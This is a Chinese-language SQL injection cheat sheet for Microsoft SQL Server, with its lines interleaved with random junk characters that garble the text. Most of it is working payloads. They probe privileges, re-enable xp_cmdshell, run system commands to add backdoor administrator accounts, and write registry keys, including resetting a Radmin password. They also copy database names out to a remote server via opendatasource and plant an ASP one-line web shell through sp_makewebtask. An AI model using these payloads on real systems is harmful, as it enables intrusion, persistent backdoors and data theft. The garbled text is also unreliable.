//看看是什么权限的1 C+ o# l3 F z
and 1=(Select IS_MEMBER('db_owner'))8 b/ C( Z4 R$ F4 J
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
7 }/ e3 `$ t. ~4 ~
2 `' U( A5 H% U; S3 P2 d3 D//检测是否有读取某数据库的权限
% N, D7 V* U }, G0 `' Tand 1= (Select HAS_DBACCESS('master'))
+ }7 G6 I, ]) d0 {% E& g$ `And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --: b0 ~; k0 B9 ^( `- S$ ]: |
+ |, k& P0 N4 y5 p$ @, n5 E
+ O6 a# ?/ o6 }8 f3 ?数字类型, e: A% _/ U) J* r4 C
and char(124)%2Buser%2Bchar(124)=0
! r1 @! S+ G. Y% o$ d* u
3 J- Q/ f$ b4 H! U+ \字符类型
8 M# r' R% C: j' and char(124)%2Buser%2Bchar(124)=0 and ''='
0 O, `3 X' K( W% G9 G) @8 X; l" l9 d. b; i
搜索类型. [" f' M! j' S" f6 x# }' k
' and char(124)%2Buser%2Bchar(124)=0 and '%'='! D' b( b/ ~7 @5 Q2 V
% Q* W- c7 j4 M' p6 G: T
爆用户名4 R$ w0 g& S* @1 O, B
and user>0; h# c# p, ?, _9 S! |7 Z
' and user>0 and ''='' C! b/ Y2 j) S8 A! O1 b2 a+ W
. _0 g4 p. Q3 X2 W6 X( v
检测是否为SA权限' y5 f2 T3 W; L' V" c- f
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
. A" `3 j7 A6 B3 _2 }And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
2 ~; W7 G( D& C Y+ m
; Z+ E8 C( @. u6 F检测是不是MSSQL数据库, U# C- y: e: x
and exists (select * from sysobjects);--# d8 I( s) V7 H
7 i: O9 a$ B8 Z: R/ a9 B检测是否支持多行
# {( f$ H$ g& @, E# Z;declare @d int;--+ B8 I/ Y' U4 H9 n' i. E- x
! A2 W2 J6 i! X4 ]; D8 F
恢复 xp_cmdshell
' m x, Q; P3 u9 k;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--4 t$ d$ c9 Y8 _* M
' v" C: Y$ F0 G8 }
8 u( \5 j$ c" ?
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')6 }% p b) @7 v! z; i
1 q# e% G( x: g8 P0 s
//-----------------------
- Z$ F: [: X; S* J- i0 m* N1 X// 执行命令
1 H) I' U& N1 Z* }% t//-----------------------
+ s$ @: B, q2 x d; v首先开启沙盘模式:) e6 a! x# _8 D9 i. ?0 Z% Q6 {
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 M8 j9 a/ ?6 k. N
0 @ J0 X4 o% @# y9 d- q: r然后利用jet.oledb执行系统命令
; e: }/ z2 e% {' C7 qselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
1 ]# ^2 ~0 C. o6 @, ?
) C. }5 J3 `; D6 f; U执行命令
; H5 X+ b' o) p7 h: b;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--- J' z; Y3 k) p0 T1 p
: Y. t- R9 h/ k& b6 A; }EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
$ e+ X/ }1 ?- [, K. V* M. s9 d9 L: C/ U" M) D4 N- e$ X. ]
判断xp_cmdshell扩展存储过程是否存在:
2 B2 u9 w9 ?" @2 T) l1 Y8 bhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')/ P9 X6 U. S- z
- S8 @0 l- N2 h+ O4 c
写注册表% ]4 g. \5 I0 [& z% M# z0 @, @) t
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1: m, R2 u" G( q! h
8 B* K* R% q2 ^& d* e. u3 d6 U9 z- W1 xREG_SZ
! b2 n+ n8 O5 s/ _5 b$ `0 J- \; ], s/ }7 X
读注册表: d3 l- D9 M/ F
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
' n6 p/ w9 @; T3 z2 ^4 w/ U: E! h+ O) q. H
读取目录内容0 R$ D. D! D- {* i% k0 g" I
exec master..xp_dirtree 'c:\winnt\system32\',1,1
0 A5 d$ Q" ?' J: M W8 m+ k$ e& J* k$ A
, e4 i/ z" M: o0 ?" i7 V
数据库备份* Q3 [$ I; e) a4 C' s1 ]% L
backup database pubs to disk = 'c:\123.bak'7 n& J; I) K7 K2 A
. F$ O* a, N4 x//爆出长度
& M8 [: A2 c9 G8 E8 n7 BAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--: Y8 {7 \) f/ ^" X6 f( j
- A- u6 O1 |- ^3 p6 ^9 J3 s
0 |3 _+ I7 [0 l4 H/ D6 M4 [* @) a
; v1 f: U' A% C0 X( @) |) z I更改sa口令方法:用sql综合利用工具连接后,执行命令:1 Q2 G8 B* f7 p1 A2 F
exec sp_password NULL,'新密码','sa'1 K& T+ J8 Q& N9 {
4 X% _ b; I s0 P7 D
添加和删除一个SA权限的用户test:
- W8 ?; L9 b) R& G. Mexec master.dbo.sp_addlogin test,9530772
5 A, C. S6 V" b, G7 D9 m: Texec master.dbo.sp_addsrvrolemember test,sysadmin, q5 U1 n9 A9 k- f# l ~' W( w
4 E1 S+ j, I. G3 n& I" h* }' K
删除扩展存储过过程xp_cmdshell的语句:: B+ |, v* W- X* Q
exec sp_dropextendedproc 'xp_cmdshell'
( |8 c$ a8 w& O8 u7 p. V
+ U9 z3 P5 A+ g5 g( l添加扩展存储过过程! e5 T* E5 ^6 A
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
}# d5 s3 s* u' _0 @* G$ oGRANT exec On xp_proxiedadata TO public4 \2 i. G s% T7 @8 Q& a0 M
" J+ a3 S9 V/ I7 {
, X( c: y% r, @* m5 |停掉或激活某个服务。
, C- l" k& F* Q' J) I$ T9 y) k5 v
" ?, A9 f+ D0 |1 h- p c9 Kexec master..xp_servicecontrol 'stop','schedule'& g( g% E9 K/ U1 H" _! |
exec master..xp_servicecontrol 'start','schedule'" h; l' A& Z/ z# C
3 [+ r/ p7 W6 N& i5 h6 N
dbo.xp_subdirs
1 M9 y# O7 x y# w+ k
) J6 m S. y1 J2 K1 s只列某个目录下的子目录。. d' m2 I1 p! M7 x) C& S% r
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'" }) r' o9 b, k2 v
8 d3 x' t- A6 x5 L1 n, H/ T! W4 Udbo.xp_makecab
: X I. t( L" I& s2 q \+ e( D7 G) U0 {, p3 Q
将目标多个档案压缩到某个目标档案之内。( E' j- s9 g: v! N/ b* ~# ]
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。, B1 {* J3 @5 z$ z3 E5 ]
$ @$ R3 T U+ g+ h( _
dbo.xp_makecab
4 I1 Y/ v5 A2 G'c:\test.cab','mszip',1,9 t; J' @/ Y& u: n) S
'C:\Inetpub\wwwroot\SQLInject\login.asp',- i" h- h0 s6 L+ J8 Z
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'# u [" H, v4 @2 M, N/ F7 J4 D/ M
3 A& i" s3 Y- g4 [, e0 f
xp_terminate_process
& I D K) K: v3 a
5 {1 Q! C5 i! q. Q停掉某个执行中的程序,但赋予的参数是 Process ID。; S7 Z5 I7 r; [# P& Z6 g
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
+ ^& N/ u5 U: x3 u& a! A% D: y8 w3 w8 S/ N% j8 L. j, v
xp_terminate_process 24842 W( H. m4 Y- e! A3 S9 [' }
0 w1 e( z" h; B) m
xp_unpackcab
7 Z- c9 n1 Z3 r5 H; N
+ W8 z5 g% _6 f( n& }解开压缩档。. T# K/ T! p; h2 t
, Q2 @- _* u( k" U" q4 S) S# Z
xp_unpackcab 'c:\test.cab','c:\temp',1
* [; e5 r1 V* S- w& W) L! p0 B a# J
/ T Z" m7 ], b( t% D' o
8 ] ~! I/ \8 v" O) R, q+ Y某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234* f0 C" K) Z# G
* Y2 J2 a7 L% M% j
create database lcx;6 t r% v c- C% \6 I
Create TABLE ku(name nvarchar(256) null);' h# @6 N; y9 L& l* {) T
Create TABLE biao(id int NULL,name nvarchar(256) null);
& Z# W. {9 \# V5 Y3 E) _+ [
- g9 A8 ?( A1 D. q' U% ]//得到数据库名
5 ]) P6 c0 {2 C8 Uinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
+ f4 ^4 N2 j6 R! w3 G; m `7 u
" R/ B3 K0 c9 C. p9 h" J" R! a
' T2 }& q/ p8 H0 S& @- v1 ~/ g//在Master中创建表,看看权限怎样: s! Q# t2 g+ v1 |9 {
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--# ?6 Q1 p3 {3 k7 [' n
5 O% S% E- ]% d用 sp_makewebtask直接在web目录里写入一句话马:( N& R8 b: |: [9 B3 A5 L
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
$ z) a4 c0 u* \" ^% G7 `' ?" C+ w/ u
//更新表内容
5 V( F; M: z) E! }+ s; n9 u- OUpdate films SET kind = 'Dramatic' Where id = 123
' M, u- `) W1 {, F3 X3 y1 J
6 Y8 e. F* D, a, w0 h* x3 o//删除内容0 V; T$ R* Y M: ?: }/ U/ |
delete from table_name where Stockid = 3 |